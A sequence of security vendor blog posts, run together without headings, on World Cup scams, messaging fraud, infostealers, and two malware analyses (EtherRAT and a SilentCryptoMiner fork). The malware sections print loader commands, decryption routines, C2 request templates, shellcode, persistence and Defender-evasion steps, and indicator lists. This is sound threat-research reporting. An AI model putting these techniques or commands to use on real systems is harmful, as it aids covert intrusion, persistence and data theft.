The World Cup attracts a great many fans — but also a great many scammers. While millions of fans tune in to watch the matches, cybercriminals are hard at work trying to get at their money and personal data. In fact, we’ve already flagged more than 336 fake websites designed to look exactly like the official World Cup page! As the biggest sporting event of the year heats up, here are the top red flags you need to watch out for.

Totally Legit Free Streams (No Scam)

Scoring a seat at WC26 has turned into quite the mission. Soccer fans are furious over ticket prices, which have officially been dubbed the highest in World Cup history. On top of lodging and travel costs, the situation is made even worse by America’s stringent immigration policies — where referees, team staff, and even players have faced major visa and entry headaches. But fans still want to watch the games, and that’s exactly where fake streaming platforms step in to “help”.

Here’s how the scam plays out: cybercriminals set up fake websites promising free access to World Cup match streams. But the moment you click Watch Now, you’re prompted to sign up and then pay for “lifetime access” to the entire tournament. In the example below, they’re asking for cryptocurrency — which is still a bit unusual, since scammers typically prefer good old-fashioned bank cards.

An example of a fake video streaming website requiring users to register and pay with cryptocurrency to watch all World Cup 2026 matches

Fans who are desperate to catch their favorite teams live risk losing not just their money, but also their personal data, which hackers can later weaponize in targeted phishing attacks.

A losing bet

Match result predictions and sports betting always skyrocket in popularity during the World Cup, and scammers waste no time cashing in on the trend. And behind the flashy slogans lie classic scam tactics.

Take this beautifully designed Spanish-language website. To sign up, it demands a massive amount of personal information, including your full name, national ID number, email address, and phone number — and, of course, it asks you to create a password. If a victim uses the exact same password for multiple accounts, they’re essentially handing the keys to their digital life over to cybercriminals.

To guess match outcomes on this site, you have to hand over way too much personal info — everything short of biometrics

Another site, specifically targeting users in Colombia, turned the sign-up process into a paid ordeal — and it features every trick in the book.

• To “verify” your profile, you’re forced to use WhatsApp under the guise of avoiding legal complications.
• Before your account is activated, you must make a deposit. This means sending 100 000 Colombian pesos (about $29) to a specified account and texting the receipt to an “administrator” on WhatsApp.
• Next, you’re told to wait 12 hours for the “administrator” to manually activate your profile.
• Only after all of this do the scammers tell you can place unlimited bets (of course not true).

These scammers built a whole website, but they do all their business over WhatsApp. That’s a red flag!

In many countries — including Colombia — sports betting is strictly regulated. Only a handful of licensed operators are legally allowed to run these sites, and users are required by law to verify their identity. Because of this, these shady workarounds can look tempting to people who love to gamble but don’t want to — or can’t — go through the official verification process.

Unfortunately, the scammers always win in this scenario. They walk away with your initial deposit and every single bet you place on their site. At the end of the day, their only real goal is to drain their victims’ wallets for as much as they possibly can.

Discounts for collectors!

The World Cup isn’t just about the matches; it also drives record-breaking sales of collectible merchandise — stickers, scarves, team jerseys, official match balls, and more. Naturally, plenty of scammers are eager to get a piece of that action.

Take a look at this website offering “exclusive, limited-edition” stickers and albums. Notice anything suspicious?

Talk about a steal! Too bad the whole website is a scam

Check out those prices: everything is heavily discounted, even though the tournament is in full swing. All it takes is a quick price check against the real deal to spot the trap. In the screenshot above, the scammers are charging 67 euros for a sticker collection. On actual online marketplaces, that exact same set goes for at least twice as much, and on the official Panini website, it’s three times the price.

Fake websites mimicking popular sporting goods stores also offer to sell you shin guards, socks, jerseys, and any other gear. Of course, you’ll never see the merchandise, and you’ll lose both your money and your bank card details.

When they’ve absolutely no intention of delivering any products, they can easily offer massive discounts and free shipping

Deals that seem too good to be true are one of the biggest red flags. To make matters worse, with the help of AI, fake websites now look just as professional as the real ones, making them harder than ever to spot. That’s why we recommend installing our security suite before you start shopping online. It blocks phishing sites in real time and uses the Safe Money feature to keep your financial data secure.

Soccer by mail

Another attack strategy involves spam campaigns centered around the World Cup. In one email, our experts uncovered an ad for a soccer analytics and betting-tips service. It uses the classic high-pressure playbook: “ONLY 10 SPOTS AVAILABLE” — so hurry up before they run out! Naturally, access comes with a price tag: AU$200.

Spammers hurrying the victim to make a decision as quickly as possible

This scheme targets fans who are into sports betting, and paying for these types of services usually ends one of two ways for them: they either lose their money with zero guarantee of getting actual predictions, or get sucked into an even deeper, multi-step financial trap.

How to avoid falling for the scams

Across all these scenarios, the World Cup is just another convenient pretext for cybercriminals. Once the tournament wraps up, they’ll most certainly pivot back to their usual tricks — like fake job offers or Telegram phishing scams — until the next Olympics or soccer tournament rolls around and they switch right back to sport.

Our research consistently shows that online fraud has evolved into a massive illegal enterprise. You aren’t just up against lone scammers anymore; you’re dealing with large criminal networks. When it comes to defense, the best approach is a proactive one. By installing Kaspersky Premium, you can safeguard all your devices from malware, phishing, spam, and malicious or lookalike websites. Plus, the included Kaspersky Password Manager will generate unique complex passwords, securely store your sensitive data — like documents and bank cards — and stop you from auto-filling your credentials on fake sites.

• Watch the games only on legitimate streaming platforms. Don’t trust fake reviews and never enter your bank card information on unverified sites. Keep an eye out not just for sketchy streaming websites, but also for fake IPTV apps. As we’ve covered in detail before, scammers frequently use these to infect your devices with Trojans.
• Shop smart. The best way to avoid getting ripped off is to buy merchandise exclusively through official channels (where you won’t see suspiciously deep discounts), or simply buy your gear in person at official retail locations.
• Don’t click suspicious links. If a deal that’s too good to be true lands in your inbox — whether it’s exclusive betting tips or anything else — just ignore it and hit delete.
• Avoid logging in through Telegram bots. At the very least, this saves you from future headaches and annoying spam. At best, it keeps your account from being hijacked and your crypto from being stolen.
• Switch to passkeys wherever possible. Unlike traditional passwords, which are easily stolen and can be typed into any fake login page, a passkey is cryptographically tied to a specific website and won’t work on a phishing page. Kaspersky Password Manager can easily store and sync your passkeys across all your devices.

What other ruses do scammers use to make a quick buck? Check out our other posts:

• The Winter Games in Italy: how to avoid the scams
• Summer scams in Paris
• Meme coins and NFTs: how not to lose your shirt
• How to watch soccer safely
• Neither flowers nor gifts: how women get scammed

During our recent threat hunting activities, we found EtherRAT malware being distributed by a website with a strange homepage. This homepage allowed us to discover a vast malicious infrastructure distributing malware, malicious documents, remote desktop software, and phishing pages. 

EtherRAT is a RAT developed in Node.js which allows an attacker to gain complete control over the machine and execute arbitrary code returned by the Command and Control (C2) server. The malware uses the Etherium blockchain to obtain the C2 server, hence the “Ether” part of the name. EtherRAT is typically distributed via MSI, PowerShell, or JavaScript scripts. 

An open directory that distributes EtherRAT: where it all began 

While threat hunting, we found an open directory that was distributing MSI installers and PowerShell scripts, which ultimately distributed EtherRAT. In the analyzed cases, the PowerShell scripts and MSI installers were distributed from a “/install” folder.  The versions have a progressive number, ranging from v1 to v10. 

The returned home page caught our attention and prompted us to further explore the campaign. 

Analyzing domains and associated IPs with the EtherRAT distribution, we detected other similar home pages with a hacking-style theme. They appeared to belong to a larger distribution chain, which also distributes phishing, remote control software, and other malware. These websites usually have several folders with malware and phishing related content, and what is displayed depends on the specific infection chain. 

Different websites that resolve to the same IP addresses have previously returned pages related to fake companies or default templates. The use of these new pages could therefore be a method to make detection more difficult for automated scanners or researchers.  Here are some of the home pages we found:

EtherRAT is an interesting RAT, as it has few lines of code and allows the execution of arbitrary code returned by the C2 server. Furthermore, using the Ethereum blockchain to obtain the C2 server makes it more resilient to infrastructure takedowns. 

Technical analysis of EtherRAT 

The detected websites usually distribute an MSI or PowerShell script with the version name, such as v1.msi, v2.ps1, and so on. 

MSI Loader 

The MSI file “v9.msi” contains three components: 

When the MSI is executed, the “KmPuGimn.cmd” file is started: 

conhost --headless cmd /c "KmPuGimn.cmd" 

This obfuscated BAT file performs different operations: 

• Extracts the other files in a random folder in %LOCALAPPDATA%. 
• Re-executes itself via: 
  • %SystemRoot%\System32\conhost.exe –headless %SystemRoot%\System32\cmd.exe /c call “C:\Users\{user}\AppData\Local\{random_path}\KmPuGimn.cmd” nKWa 
• Runs the command “where node” to find an existing installation. 
• Downloads Node.js if it’s not found 
  • Uses “curl -sLo” to download Node.js from the official website. 
  • Extracts to installation directory via “tar -xf”. 
  • Renames extracted directory to “28Q75h”.
• Loops until both “MRaQCipBIZeiZNx.log” and “cDQMlQAru0.xml” exist, then executes: 
  • conhost.exe –headless C:\Users\{user}\AppData\Local\{random_path}\{random_path}\node.exe cDQMlQAru0.xml 

The executed “cDQMlQAru0.xml” is a loader that decrypts the embedded code with a XOR function and then executes it with “vm.compileFunction”. 

decrypted[i] = (encrypted[i] - key[i % key.length] - i) & 0xFF 

The decrypted code: 

• Copies node.exe in “C:\Users\{user}\AppData\Local\{random_path}\{random_path}\_MJlLlt5.exe”. 
• Adds a registry key for persistence with “conhost.exe –headless”. 
• Decrypts “MRaQCipBIZeiZNx.log” and executes it with “_MJlLlt5.exe” stdin. 

The decryption algorithm is a custom stream-like decoding routing based on XOR, byte rotations and an accumulator: 

for e in range(len(data)): 
    byte = data[e] 
    g = prev 
    prev = byte 
    byte = (byte - g) & 0xff 
    byte = byte ^ n[e % len(n)] ^ ((e >> 8) & 0xff) 
    byte = si[byte] 
    byte = (byte - k[e % len(k)]) & 0xff
    result[e] = byte 

The final stage is to deploy EtherRAT. EtherRAT allows the attacker to: 

• Execute arbitrary JavaScript code received by the C2 server. This allows the attacker to execute new commands, perform operations on files and folders, modify the registry, and exfiltrate data. 
• Get a new C2 server using the Ethereum blockchain. 
• Reobfuscate itself. 
• Save the logs to “svchost.log”. 

The EtherRAT uses Ethereum’s “eth_call” JSON-RPC method to retrieve the active C2 URL from a smart contract on the Ethereum mainnet.  

The blockchain parameters in this case are: 

• Contract: 0x88ea8d0bc4146f0a018e989df3fd089ac48f9a58 
• Function selector: 0x7d434425 
• Argument: 0xf6a772e163e64b07f658946f863b5d457d88f9f0 

The contacted URLs to obtain the C2 server endpoint are: 

• mainnet[.]gateway[.]tenderly[.]co 
• rpc[.]flashbots[.]net/fast 
• rpc[.]mevblocker[.]io 
• eth-mainnet[.]public[.]blastapi[.]io 
• ethereum-rpc[.]publicnode[.]com 
• eth[.]drpc[.]org 
• eth[.]merkle[.]io 

Polling requests use randomized URL patterns based on some parameters defined in the code: 

GET /api/<4-byte-hex>/<victim-uuid>/<4-byte-hex>.<ext>?<param>=<build-id> 
X-Bot-Server: <c2_url> 

In the analyzed sample, the parameters are: 

• Build ID: “6f816d80-0d6c-4384-9cd6-6b79965fc08f” 
• ext: randomly selected from “png”, “jpg”, “gif”, “css”, “ico”, “webp”. 
• param: randomly selected from “id”, “token”, “key”, “b”, “q”, “s”, “v”. 

After startup, the RAT sends its own source code to the C2 server. The C2 responds with a newly obfuscated version of the script, which is written back to disk, making each execution generate a new file hash. 

POST /api/[REOBF_PATH]/<victim-uuid> 
Body: { "code": "<current_script_contents>", "build": "<build_id>" } 

After the EtherRAT execution, we observed different post-compromised cmd.exe activities to check the environment. For example: 

• powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “(Get-WmiObject Win32_VideoController).Name”
• reg query “HKLM\SOFTWARE\Microsoft\Cryptography” /v MachineGuid 
• powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “(Get-WmiObject Win32_ComputerSystem).Domain” 
• powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “(Get-WmiObject Win32_ComputerSystem).PartOfDomain” 
• cmd.exe /d /s /c “net session” 

PowerShell Loader 

The activities performed by the PowerShell loaders are very similar to the last stage of the JS script of the MSI installer: 

• Downloads Node.js if it’s not present. 
• Create the necessary directories. 
• Decode the EtherRAT with a custom decryption algorithm. 
• Execute Node.js with conhost.exe and the decrypted EtherRAT payload. 

We detected some variants of the PowerShell loader hosted on these websites; namely that the functions’ names and the decryption functions change in the analyzed PowerShell scripts. 

Tracking the malicious infrastructure 

When we analyzed the different websites with the “hacking-theme” pages, we found that in the past many had hosted multiple phishing pages in some specific paths. For example: 

• /zht/sharep-redirect.html 
• /bl/me.php 
• /t/teams 
• /teams/Windows/invite.php 

It seems that these domains and IPs are actually part of a much larger infrastructure that distributes malware, phishing, malicious documents, and remote software. It is possible that these infrastructures are shared by multiple threat actors who activate different URL endpoints based on the specific campaign. 

Interestingly, the majority of the domains related to this malicious infrastructure in the past also returned an HTML page related to a “Bulletproof Infrastructure” service.  

We found that these phishing campaigns typically start via emails with documents attached, such as PDF or Excel files. These documents ask the user to click a link to view another document. Below are two examples of the phishing documents attached to the emails:

These phishing pages typically ask the user to enter their email address, then continue the infection chain and distribute phishing or malware pages.  Below are some of the phishing pages detected within the malicious infrastructure:

Misconfigurations exposed the phishing kits 

While tracking malicious websites, we found one with an open directory containing part of the phishing kit used in the campaigns. 

The open directory contained several folders with code and pages related to the phishing campaigns. 

Additionally, some domains were misconfigured and allowed the download of “cl.zip”, which contained the source code for the “URL Cloaker” pages. 

Indicators of Compromise (IOCs)  

IPs 

82[.]165[.]65[.]244: malicious infrastructure  

185[.]221[.]216[.]121: malicious infrastructure  

43[.]163[.]233[.]166: malicious infrastructure  

40[.]160[.]238[.]30: malicious infrastructure  

159[.]89[.]227[.]204: malicious infrastructure  

57[.]128[.]31[.]168: malicious infrastructure  

Domains 

ivorilla[.]cloud: EtherRAT distribution  

mx[.]nrlwz[.]com: EtherRAT distribution  

dn[.]eyqwj[.]com: EtherRAT distribution  

bi[.]mkrjcsw[.]com: EtherRAT distribution  

dorqen[.]casa: EtherRAT distribution  

kelvra[.]club: EtherRAT distribution  

cambioefectivo[.]com: EtherRAT C2  

vabelles[.]com: EtherRAT C2  

tranzed[.]org: EtherRAT C2  

kibrisarazi[.]com: EtherRAT C2  

aravisblog[.]com: EtherRAT C2  

publicspeakingtip[.]org: EtherRAT C2  

Acknowledgements 

• EtherRAT: https://atos.net/en/lp/cybershield/etherrat-distribution-spoofing-administrative-tools-via-github-facades 

• SharePoint reference: https://ironscales.com/threat-intelligence/no-macro-xlsx-shared-strings-aitm-redirect-credential-harvest 

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Attackers are increasingly targeting collaboration platforms like Microsoft Teams. Learn the risks and key steps to strengthen your organization's security.

The post When “Hi, This Is IT” Comes Through Microsoft Teams appeared first on Unit 42.

Phishing has changed. Slowly but surely, cybercriminals are turning to infostealers instead.

Traditional phishing hasn’t gone away. Far from it. But many attackers are no longer focused solely on tricking victims into entering usernames and passwords on fake login pages. Instead, they are using infostealers to quietly collect passwords, cookies, browser data, and other sensitive information from infected devices.

This approach is attractive because it scales well and reduces friction. Instead of relying on a victim to type credentials into a fake site, the malware can harvest logins already saved in browsers, session tokens, autofill data, cryptocurrency wallet details, and even files that contain useful information.

This makes the attack chain less visible. A traditional phishing email often leaves obvious clues: a suspicious link, a fake login page, or a strange attachment. Infostealers are different. They can arrive through malicious online ads (malvertising), cracked software, fake browser updates, game cheats, or dubious download sites, and once installed, they work in the background, stealing whatever the victim’s device has in store.

Part of this shift could be due to the widespread adoption of multi-factor authentication (MFA). By stealing session cookies, cybercriminals can bypass MFA, so they can access accounts without needing a password or authentication code.

Another factor is the rise of the malware-as-a-service (MaaS) ecosystem. Infostealers are cheap to deploy, easy to scale, and highly profitable. Rather than building a full attack chain themselves, many criminals buy access to ready-made stealer kits, loaders, or initial access services from underground vendors. This lowers the barrier to entry and allows less-skilled attackers to run credential theft operations.

In many cases, infostealers are just the first stage of a larger criminal operation. The stolen data is collected, packaged, and sold to other criminals interested in the harvested information. These buyers may specialize in fraud, account takeover, business email compromise, or ransomware. A single infected machine can generate multiple revenue streams: credentials for one buyer, session cookies for another, and corporate access or wallet data for a third.

That division of labor is one reason infostealers have become so persistent. Operators can update their code, rotate infrastructure, and launch new campaigns with minimal effort, while affiliates handle distribution through phishing, malvertising, fake downloads, or social media lures.

How to stay safe

Because infostealers commonly arrive through malvertising, fake browser updates, and one-click downloads, it’s worth treating ads and pop-ups with healthy skepticism. My personal tip: Never click on sponsored ads. Instead, visit official websites directly and download software only from trusted sources such as official vendor sites or app stores.

Another increasingly popular technique is ClickFix, a social engineering attack that tricks users into infecting their own devices. Never run commands or scripts copied from websites, emails, or messages unless you trust the source and understand the action’s purpose. If a website tells you to execute a command or perform a technical action, check official documentation or contact support before proceeding.

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Pirated software, game cheats, and cracked tools remain some of the most common delivery methods for infostealers. These downloads often come bundled with malware that installs alongside the software you intended to get. The same caution applies to many browser extensions and add-ons that promise extra features or convenience. Stick to extensions from reputable developers, check reviews and permissions carefully, and avoid installing any add-on that asks for more access than it plausibly needs.

Phishing emails are still a major threat, but many can be spotted if you slow down and verify before clicking. Even if an email looks like it comes from a trusted brand, treat unsolicited attachments and links with caution, especially when they urge you to open a file, install something urgently, or fix a billing issue. If you’re unsure, check the sender address, look for typos or odd phrasing, and confirm the request through a separate channel such as the company’s official website rather than the link in the email.

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Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

It starts with the familiar: a short message, a trusted name, a routine tone. Delivery updates, work pings, brand alerts hum in the background, rarely attracting scrutiny. You check, you answer… — until minutes later you’ve slipped into a trap built to lower your guard and hijack your trust.

That’s why messaging scams cut deep: they exploit everyday habits where instinct, not caution, leads. Communication once moved slowly, leaving room for doubt. Now it’s instant — and that speed is a weapon in criminal hands.

On our blog, we’ve already examined numerous scam schemes in messaging apps — from pig butchering, where the victim is groomed for a very long time, or catfishing, where the scammer creates a fake identity, to phishing via chatbots or through gift-giving campaigns in messaging apps.

Now, for the first time, Kaspersky has set out to capture the full end-to-end reality of messaging-based scams to understand how quickly harm occurs, how they impact trust and what remains after the interaction ends. What emerges is a highly organized and industrialized scam ecosystem embedded within everyday messaging channels such as SMS, WhatsApp, and email.

Kaspersky experts have prepared a report on targeted scams in messaging apps, detailing not only the financial but also the emotional damage caused by such attacks, as well as providing tips on how to protect yourself and avoid them. In this post, we explore the most interesting facts, but you can find more details in the full report.

The damage is underestimated

How much do you think a single successful attack via a messaging app costs the average victim? Ten dollars? Or maybe 50? You’re underestimating the scammers. Although more than a third (36%) of victims incur losses of less than $135, on average a victim loses… $733!

On the one hand, the financial hit doesn’t look catastrophic in isolation. These are micro-losses by design. Small enough that some never report them to the police. Small enough that banks don’t always investigate. Small enough to be dismissed as bad luck rather than organized crime.

But $733 is not nothing. It’s enough to cover a month’s worth of groceries, school or daycare fees, or utility bills. Against the backdrop of the global cost-of-living crisis, a single such loss can seriously dent a family’s budget.

In 11% of cases, losses exceed $1,350, and more than a quarter of victims (28%) report having been scammed three or more times in the past six months. Once scammers discover that a phone number responds, that contact becomes an asset, circulating from one database to another.

Now imagine the scale of the problem: if just 10% of the three billion messaging‑app users worldwide fell victim with the average loss, the total damage would amount to… nearly $220 billion! This is comparable to the GDP of Greece, and exceeds that of Morocco, Serbia, or Côte d’Ivoire.

It becomes clear that behind the daily flood of fraudulent schemes lie large scam cartels operating on an industrial scale, using AI to personalize messages that mimic those of family members, friends, and familiar brands. This, in essence, forms the basis of a full-fledged economy built on digital identity theft.

Speed beats scrutiny

More than half of successful messaging scams (52%) unfold in under 30 minutes — from first contact to the moment money or personal data changes hands — or even faster, before the victim begins to doubt the legitimacy of the sender. In fact, one in seven scams takes less than five minutes — quicker than boiling an egg!

The speed isn’t accidental. It’s the method. Scammers structure their schemes to deny the victim a chance to come to their senses. Every element is engineered to compress the decision-making window: the urgency of the scenario, the familiarity of the format, the plausibility of the request.

They rush you — faster, faster, don’t tell anyone, you only have a few minutes, solve the problem, don’t ask questions. Click the link, fill in the details, approve the transaction, or else… Or else what? The scammers’ imagination knows no bounds here, but if you don’t do something right now, you’ll definitely regret it.

Alas, the realization of what has happened usually comes when the damage is already irreversible. More than half of victims (51%) lose money; another 43% hand over their personal data — most commonly phone numbers, names, and email addresses — to scammers, and often the victim loses both.

Where and how attacks occur

A delivery notification, a bank alert, a message from a merchant you ordered from last week — messaging apps permeate every aspect of everyday life, making such interactions completely normal. An attack shouldn’t feel like an attack. It should feel like the same message you’ve received hundreds of times.

It’s no surprise that scammers focus their attention on this method of communication first and foremost. The most popular platforms for scams are predictable: WhatsApp (43%), SMS/iMessage (40%), Facebook (27%), Telegram (22%), and Instagram (19%) — these are the ones that people trust most.

A wide variety of schemes is used. Brand impersonation is now one of the three most common types of messaging scam worldwide — accounting for 31% of cases. Fake delivery notifications top the list at 38%, followed by investment scams at 37%.

At the same time, nearly two-thirds (63%) of fraudulent schemes span multiple platforms, moving from SMS to WhatsApp, from WhatsApp to Telegram, etc. In this way, scammers achieve two goals: they mimic organic messaging and evade moderation algorithms.

AI has taken scams to a new level

Just a couple of years ago, fraudulent messages gave themselves away with bad grammar, awkward phrasing, illogical requests, and an obsessive sense of urgency. Today, a phishing message looks, sounds, and reads just like the real thing.

Scam cartels want to catch people in motion — between meetings, on a commute, or during everyday tasks — when your attention is already fragmented. They mimic your mother’s turn of phrase. They match your bank’s tone of voice. They copy your courier’s format exactly. They mirror the rhythm, structure, and style of authentic brand communications across messaging platforms. And AI is accelerating all of it.

What this creates is overlap. Legitimate and fraudulent messages appear in the same environment, using the same formats, language, and triggers. The difference between them is no longer obvious.

The data shows that two-thirds of victims (66%) believe AI was used in the scam against them, 42% cite messages written by AI, 31% report generated or cloned voices, and 25% encountered deepfake images or videos.

That’s why mere awareness and “tech-savviness” may no longer be enough to protect oneself. From Gen Z to Gen X, messaging scams cut across every generation.

And what about the emotional toll?

But money is far from the only problem a victim is left with after an attack. After what they’ve been through, people develop distrust toward incoming messages, unfamiliar numbers, and any requests for action. As a result, 99% of fraud victims say they no longer trust incoming notifications in messaging apps.

This creates a crisis of trust in all digital channels in general. Every legitimate message can now be perceived as a scam. Brands, banks, and delivery services are forced to operate in an environment where the customer is, by default, in a state of distrust.

Dr. Elizabeth Carter, a forensic linguist and criminologist at Kingston University in London, notes that scammers use familiar contexts, common social settings and embedded linguistic norms to create the illusion for the victim that their decision-making is rational and reasonable in the moment. However, what is actually happening is that they construct false realities in which those decisions end up causing financial and psychological harm. She also notes that it is very hard to identify a false reality while you are in it.

After realizing they had been deceived, more than half of victims felt anger — the kind that comes from having trusted something and discovering it was used against you. 42% of victims report frustration, 38% — feeling upset. Moreover, several months later, these feelings haven’t gone away: nearly half of all victims (48%) are still angry, a third (33%) remain frustrated, and 30% are upset.

And nearly one in 10 victims don’t tell anyone what happened. They feel shame, a sense of having fallen for something so obvious. This leaves a significant portion of the actual damage unreported: only 24% of victims contact the police, and only 23% report it to their bank.

So what can be done?

The crisis of trust — and even a touch of paranoia — that has arisen due to widespread attacks on users can linger in victims’ minds for a long time, affecting their quality of life. To prevent this, follow these guidelines:

• Pause before you act. The sense of urgency you feel is almost always artificial. A legitimate bank, retailer, or delivery service won’t penalize you for taking 30 seconds to verify before clicking a link or confirming details. It’s precisely this instinct to resolve the situation quickly that scammers are counting on.
• Verify through another channel. If a message appears to be from a relative, colleague, or company you trust — contact them through another channel before taking any action. Use secure verification methods, and cross-check identities when something doesn’t feel right. For families, agreeing on a “safe word” in advance can defeat even the most convincing voice clones.
• Use a password manager. It will not only help you generate strong, unique passwords for all your accounts and store them securely, syncing them across all your devices, but also protect you from spoofed sites. Even if you click a phishing link and land on such a site, our password manager will notify you about the domain mismatch and refuse to autofill your username and password.
• Use protection that works in real time. Modern security solutions, such as Kaspersky Premium, provide real-time protection against malicious links and phishing attempts in the apps and websites you use every day. On Android devices, a dedicated layer of anti-phishing security scans and neutralizes suspicious links as they appear, even within notifications, before you even have a chance to click them.

We’ve covered other threats in messaging apps in similar articles:

• Pig butchering: large-scale cryptocurrency fraud
• How to safely meet people online
• How phishers and scammers use AI
• How to avoid falling for scammers in Telegram mini-apps

The 2026 World Cup presents major cyber risks from ransomware groups, state-aligned actors, and other groups targeting critical infrastructure. Learn more here.

The post 2026 World Cup: Discussing The World’s Biggest Game’s Attack Surface appeared first on Unit 42.

Introduction

In late April 2026, a client reached out to us for incident response support after discovering a miner running on users’ computers. We later discovered that the malware was being distributed via illegal movie and TV show streaming sites. The infection chain leveraged a fake update for a video player plugin. When the user attempted to watch a video, the player displayed a message saying the plugin version was outdated and asking to install an update to continue.

Clicking the link downloaded a ZIP archive with the following contents:

The archive contained a legitimate executable, HLS Installer.874.exe, alongside a malicious DLL. Launching the EXE triggered a DLL side-loading mechanism, injecting the malicious module into a legitimate program process and executing code within its context. The library contained the logic for deploying the miner and establishing persistence on the device.

At the time of the investigation, the infection risk was associated with two pirated video sites in the .ru and .top TLDs.

Link to previous campaigns

The current incident does not appear to be an isolated case. After analyzing the infection vector and the logic of the DLL, we concluded that this activity is a continuation of a campaign involving pirated digital libraries, which was previously described by another cybersecurity company.

The delivery mechanism for the malicious archive has remained virtually unchanged. Previously, the archive was downloaded in parts from the domain file[.]ipfs[.]us[.]69[.]mu, but this domain was unavailable at the time of our investigation. Instead, the threat actor employed a new website, urush1bar4[.]online.

The structure of the archive has also been preserved: inside is a legitimate executable and a large malicious DLL (see the screenshot below).

In the course of our research, we also discovered a blog post by NTT Security describing a similar delivery method for a malicious archive. In that instance, the threat actors displayed a fake browser crash page (shown below) while simultaneously downloading an archive to the device with a name starting with chromium-patch-nightly.

This scenario resembles the current scheme involving the fake video player plugin update. Given the previously described activity, it’s safe to assume that this campaign has been active since at least 2022. Throughout this entire period, the threat actor has been updating both the downloadable malware and individual parts of the infection mechanism.

Potential distribution scale

As in previous episodes of the campaign, infections occur via highly popular websites. As of late April 2026, sites linked to the campaign typically displayed extremely high monthly traffic. For instance, the audience for the smallest of the free digital libraries stood at 11,000 users, while the largest reached 4.7 million. For pirated movie and TV show streaming sites, this figure ranged from 2.1 million to 27.4 million. In April, the total number of visits to websites where the malware described in this study was detected reached 40 million.

The popularity of these sites increases the potential scale of the miner’s distribution. Furthermore, the campaign is not limited to a single type of platform: the malicious archive is being distributed through both online digital libraries and movie and TV show streaming sites. This broadens the potential range of victims and makes it more difficult to attribute the threat to a single infection vector.

The downloadable archive

The current version of the downloadable malware is a ZIP archive containing a legitimate EXE file and a malicious DLL. When the executable runs, the library side-loads into its process, triggering the malicious logic.

The technical analysis that follows covers the current version of this malware. This version was first observed in April 2025 and has been distributed unmodified for over a year.

DLL analysis

Most of the data inside the DLL carries no meaningful weight and was randomly generated just to inflate the file size and impede analysis.

Amidst the large volume of junk code inside the DLL, there is a single function that triggers a stack overflow during execution:

Based on the code, the size of the stackBuf buffer on the stack is only 64 bytes, and the SmashStack function overwrites this buffer without validating the length of the input data.

This overflow constructs a ROP chain that decrypts the next stage. After decryption, it transfers execution to code located within the modified DOS header of the PE file:

The header was intentionally modified to make it into valid shellcode:

pop     r10
push    r10
call    $+5
pop     rcx 
sub     rcx, 9
mov     rax, rcx
add     rax, 5C1000h
call    rax
retn

This shellcode passes control to a function located at offset 0x5C1000 from the base of the PE file. This function then reflectively loads the same PE file into memory.

Going forward, we will refer to this decrypted PE file as the main module.

Main module

The module’s behavior across its different operational stages is detailed below:

The main module is a modified fork of the SilentCryptoMiner project. We have previously analyzed miners leveraging this project in other posts: Scam Information and Event Management and Undercover miner: how YouTubers get pressed into distributing SilentCryptoMiner as a restriction bypass tool. However, this specific fork has not been documented anywhere before, which is why we decided to break down its unique features in detail in this article.

Upon an initial run, the main module checks whether it has permission to proceed with execution. To do this, it collects the following data from the victim’s device:

• Processor information
• The serial number of the C:/ drive
• Whether the process was launched with elevated privileges
• The process start time in Unix timestamp format

The information is transmitted as a single large DNS query using the DNS tunneling technique. An example of the DNS query is shown below:

The attackers disguise the DNS query as legitimate traffic through low-level packet crafting and by using a domain name ending in microsoft.com. However, the IP address to which the query is actually sent has no relation to Microsoft.

DNS query crafting code

The execution of the main module proceeds only if the following byte sequence is detected in the response: 01 02 03 04. Following a successful check, the main module launches, and the subsequent logic is adjusted depending on whether the process has elevated privileges on the compromised host.
Let’s look at both scenarios:

1. The process is launched with elevated privileges.

In this case, preparatory steps precede the miner launch:

• The malware adds Windows Defender exclusions for EXE and DLL files, as well as for the %USERPROFILE%, %PROGRAMDATA%, and %WINDIR% folders.
• It kills Microsoft’s Malicious Software Removal Tool (MSRT) by calling ZwSetInformationFile with the FileDispositionInformation type, which causes the mrt.exe file to be deleted upon closing. To prevent MSRT from being automatically installed during the next update, the DontOfferThroughWUAU parameter is created with a value of 1 under the HKLM\Software\Policies\Microsoft\MRT registry key.
• Automatic hibernation and sleep mode are disabled for when the device is running on both AC power and battery.

powercfg /x -hibernate-timeout-ac 0
powercfg /x -hibernate-timeout-dc 0
powercfg /x -standby-timeout-ac 0
powercfg /x -standby-timeout-dc 0

This is done to maximize the miner’s potential runtime on the device.

Next, to achieve persistence, a copy is created in the C:\ProgramData\Google\Chrome directory, after which the GoogleUpdateTaskMachineQC service is registered and configured to launch automatically at system startup.

Finally, four reflexive loads are executed: the components are injected directly into the memory of the target processes without writing to disk, having bypassed standard Windows loading mechanisms. Each implant is injected into its own host process:

• RAT agent → into conhost.exe
• Watchdog → into explorer.exe
• CPU miner → into explorer.exe
• GPU miner → into explorer.exe, but only if a discrete GPU is present in the system. This is verified by enumerating all display adapters in the system.

2. The process is launched with standard privileges.

In this scenario, the miner begins repeatedly triggering User Account Control (UAC) prompts until it is successfully executed with elevated privileges. The workflow is as follows:

1. Upon initial execution, a copy is made to the %USERPROFILE%\AppData\Roaming\Sandboxie directory and relaunched from there. Simultaneously, an attempt is made to launch it with elevated privileges via UAC.
2. If execution occurs from the Sandboxie folder:

• Persistence is configured for the miner copy in this folder by adding an entry to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.
• Every three minutes, an attempt is made to launch with elevated privileges via UAC until the GoogleUpdateTaskMachineQC service is successfully installed.

A successful installation requires all of the following conditions to be met:

1. The GoogleUpdateTaskMachineQC service exists in the system.
2. The Start value for this service is set to 2 (Automatic).
3. The ImagePath value points to a file in the C:\ProgramData\Google\Chrome folder.
4. This file exists on disk.

Watchdog

The purpose of this component is to ensure the uninterrupted operation of the miner. At the very beginning of its execution, it copies all files from the C:\ProgramData\Google\Chrome folder and encrypts the contents of each file using a cyclic XOR algorithm with the key AFeIboiOmImJS2ypJU0pTpAO61SELkUc. After that, the encrypted contents are written into the process memory, and the following structure is created in memory for each file:

class FileContainer{
	wchar_t* fullPath; // full path to file
	size_t* ptrSize;   // pointer to file size
	uint8_t* xorEncryptedFile; //pointer to buffer containing encrypted file contents
};

